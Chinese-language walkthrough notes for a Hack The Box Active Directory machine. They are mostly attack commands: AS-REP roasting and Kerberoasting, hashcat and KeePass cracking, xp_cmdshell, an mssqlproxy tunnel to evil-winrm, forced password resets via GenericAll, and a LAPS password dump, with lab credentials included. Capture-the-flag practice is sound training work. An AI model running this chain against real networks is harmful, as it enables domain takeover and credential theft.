还是主要知识点的汇总
wget -m ftp://anonymous:RedteamNotes@LicorDeBellota.htb
ftp:// 是指定连接协议,然后⽤户名是anonymous,密码可以什么都不写,本处我们写了
RedteamNotes
获得一组用户名
获得一组用户名可以使用的技术(有密码破解)
rpcclient -U '' -N 10.129.228.115 rpc匿名登入
./kerbrute_linux_arm64 userenum --domain LicorDeBellota.htb --dc
10.129.228.115 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
-t 500 验证用户是否存在
使用GetNPUsers.py来AS-REP Roasting
sudo updatedb
locate -i getnp
export PATH=$PATH:/usr/share/doc/python3-impacket/examples/
GetNPUsers.py -no-pass -dc-ip 10.129.228.115 LicorDeBellota.htb/ -usersfile
user_list
破解hash
hashcat --help | grep -i rep
hashcat -m 18200 kaorz_hash /usr/share/wordlists/rockyou.txt
或者 john kaorz_hash -w=/usr/share/wordlists/rockyou.txt
获得一组用户凭证可以干嘛
可以尝试22、1433、88
试试Kerberoasting(获取与这些SPNs相关联的服务帐户的哈希值)
GetUserSPNs.py -dc-ip 10.129.228.115 LicorDeBellota.htb/Kaorz:Roper4155
试试mssqlclient.py LicorDeBellota.htb/Kaorz:Roper4155@10.129.228.115(失败)
使用bloodhound 没发现
试试smb
smbmap -H 10.129.228.115 -u kaorz -p Roper4155不行
试试crackmapexec smb 10.129.228.115 -u kaorz -p Roper4155 --shares
smbclient -U LicorDebellota.htb/kaorz //10.129.228.115/netlogon
获得了exe可执⾏⽂件和两个outlook邮件⽂件。
获取数据库用户权限(msg类型邮件如何处理,静动态逆向(Procmon,API Monitor),bat代码审计)
msgconvert *.msg 转换msg格式到ascii格式
xdg-open⾃动读取两个.eml文件
静态逆向
file Restart-OracleService.exe
strings Restart-OracleService.exe | wc -l 查看几行
strings Restart-OracleService.exe | tee strings_Restart-Oracle
cat strings_Restart-Oracle | grep infl 遍历的时候看到inflate(解压缩)的信息
ldd Restart-OracleService.exe 看链接库
⽤ghidra查看反汇编、反编译和字符串信息,也没有什么收获,应该是做混淆处理。
动态逆向
使用Procmon,Process Monitor,可以捕获
Windows的所有注册表、⽂件、⽹络和进程事件,并允许我们通过过滤器来查看正在发⽣的情况
发现有一个bat文件的操作
进行bat文件代码审计,将他的del文件操作的代码删除,然后在 c:\programdata\ ⽂件夹内看到了 restart-service.exe ⽂件。
逆向该文件,但是上述方法都没什么,利用API Monitor
获得passwd
回到bloodhound看新的可能的攻击路径,无
把密码的orcal换成mssql,这是我们的猜测
smb验证一下
sudo crackmapexec smb 10.129.228.115 -u svc_mssql -p '#mssql_s3rV1c3!2020' 可以
试试mssql
mssqlclient.py
'LicorDeBellota.htb/svc_mssql:#mssql_s3rV1c3!2020@10.129.228.115' 失败
查了说有sa默认用户,成功
enable_xp_cmdshell
xp_cmdshell whoami 枚举后
可以激活xp_cmdshell,看到系统信息,当前⽤户有SeImpersonatePrivilege权限
xp_cmdshell netstat -ano | find "5985"
mssqlproxy获得系统权限(mssqlproxy代理出未开放1399端口)
xp_cmdshell net user svc_mssql /domain svc_mssql是属于winrm组的 但是之前邮件
内容告诉我们,是没有对外开发这个服务的 5985端⼝是开放的,只是没对外暴露。这种情况下chisel等通⽤协议的隧道和转发技术就⾏不通了。这⾥需要⽤到mssqlproxy这项技术进⾏尝试。
mssqlproxy ⽤于创建⼀个反向的 MSSQL(Microsoft SQL Server)隧道,使攻击者能够直接与被
隐藏的 MSSQL 服务器进⾏交互,即使其并没有直接暴露到互联⽹上
如何使用
python3 mssqlproxy/mssqlclient.py
'LicorDeBellota.htb/sa:#mssql_s3rV1c3!2020@10.129.228.115'
激活ole并上传reciclador.dll⽂件
SQL> enable_ole
SQL> upload reciclador.dll C:\windows\temp\reciclador.dll
结束掉这个shell,按照⼯具使⽤帮助,执⾏:
python3 mssqlproxy/mssqlclient.py
'LicorDeBellota.htb/sa:#mssql_s3rV1c3!2020@10.129.228.115' -install -clr
assembly.dll
然后执⾏:
python3 mssqlproxy/mssqlclient.py
'LicorDeBellota.htb/sa:#mssql_s3rV1c3!2020@10.129.228.115' -start -reciclador
'C:\Windows\Temp\reciclador.dll'
提示kali已经在1337端⼝监听中。可以验证⼀下。
sudo netstat -tnlp | grep 1337
配置kali的socks5代理:sudo vim /etc/proxychains4.conf
横向获得正常shell
proxychains evil-winrm -i 127.0.0.1 -u svc_mssql -p '#mssql_s3rV1c3!2020'
获得3v4Si0N⽤户的系统Shell(kdbx数据库破解密码)
破解Keepass凭据
桌⾯上看到note.txt和credentials.kdbx,但不是note.txt不允许读,下载credentials.kdbx。
kpcli -kdb credentials.kdbx
数据数据库⽂件需要密码,破解⼀下:
keepass2john credentials.kdbx
hashcat --help | grep -i keepass
hashcat -m 13400 credentials.kdbx.hash /usr/share/wordlists/rockyou.txt.gz
登入后语法是show -f 还有ls,获得一组ssh 3v4Si0N⽤户
探索Developers⽂件夹及⽤户(dnspy逆向)
dir枚举C:\Developers>,没有权限
net group /domain 是有⼀个开发者组
net group Developers /domain 看一下组成员 有 jari 或者 superfume
所以如果想访问Developers⽬录,我们需要是 jari 或者 superfume 。⽤Bloodhound看⼀下吧。
可以看到当为⼀个对象(如活动⽬录⽤户或组)赋予 GENERIC_ALL 您实际上是为该对象赋予了该对象类型的所有特定权限。3v4Si0N⽤户有Dr.Zaiuss的GENERIC_ALL权限 Dr.Zaiuss有 SuperfumeGENERIC_ALL权限
net user dr.zaiuss RedteamN0tes!
ssh不能登录,启动代理mssqlproxy,实现evil-winrm的登录
proxychains evil-winrm -i 127.0.0.1 -u dr.zaiuss -p 'RedteamN0tes!'
修改Superfume的密码为 RedteamN0tes! :net user Superfume RedteamN0tes!
proxychains evil-winrm -i 127.0.0.1 -u Superfume -p 'RedteamN0tes!'
可以查看develop文件夹了获得可执⾏⽂件和源码⽂件
使用dnspy上诉获得文件逆向获得凭据
proxychains evil-winrm -i 127.0.0.1 -u jari -p 'Cos@Chung@!RPG'
获得admin(bloodhound到切换多个用户到域管(rpcclient改密码,dump出laps数据),
在Bloodhound中将jari标记为拥有,然后看⼀级对象控制权。
这边使用rpcclient修改密码
rpcclient -U 'jari%Cos@Chung@!RPG' 10.129.228.115
rpcclient $> setuserinfo2 gibdeon 23 'RedteamN0tes!'
验证
crackmapexec smb 10.129.228.115 -u gibdeon -p 'RedteamN0tes!'
从bloodhound继续看可能的攻击路径。
Usuarios del dominio (Domain Users)组没有直接控制的⽤户。 Opers. de cuentas
(Account Operators)有如下控制的⽤户。
以拿到域管理为⽬标,查询攻击路径。
net groups /domain
把读取LAPS作为攻击路径。
>net groups "LAPS ADM" /domain
net groups "LAPS READ" /domain 里面有lothbrok
显然 lothbrok ⽤户在 Opers. de cuentas 控制的⽤户列表中,因为在 LAPS READ 组中,也是可以
尝试读取管理员密码的。
gibdeon 是 Opers. de cuentas 组成员。Opers. de cuentas 可以 GenericALL lothbrok ,那就修改lothbrok的密码,然后读取LAPS密码
rpcclient -U 'gibdeon%RedteamN0tes!' 10.129.228.115
rpcclient $> setuserinfo2 lothbrok 23 'RedteamN0tes!'
验证
crackmapexec smb 10.129.228.115 -u lothbrok -p 'RedteamN0tes!'
转储laps数据
python laps.py -u lothbrok -p RedteamN0tes! -l 10.129.228.115 -d
LicorDeBellota.htb得到密码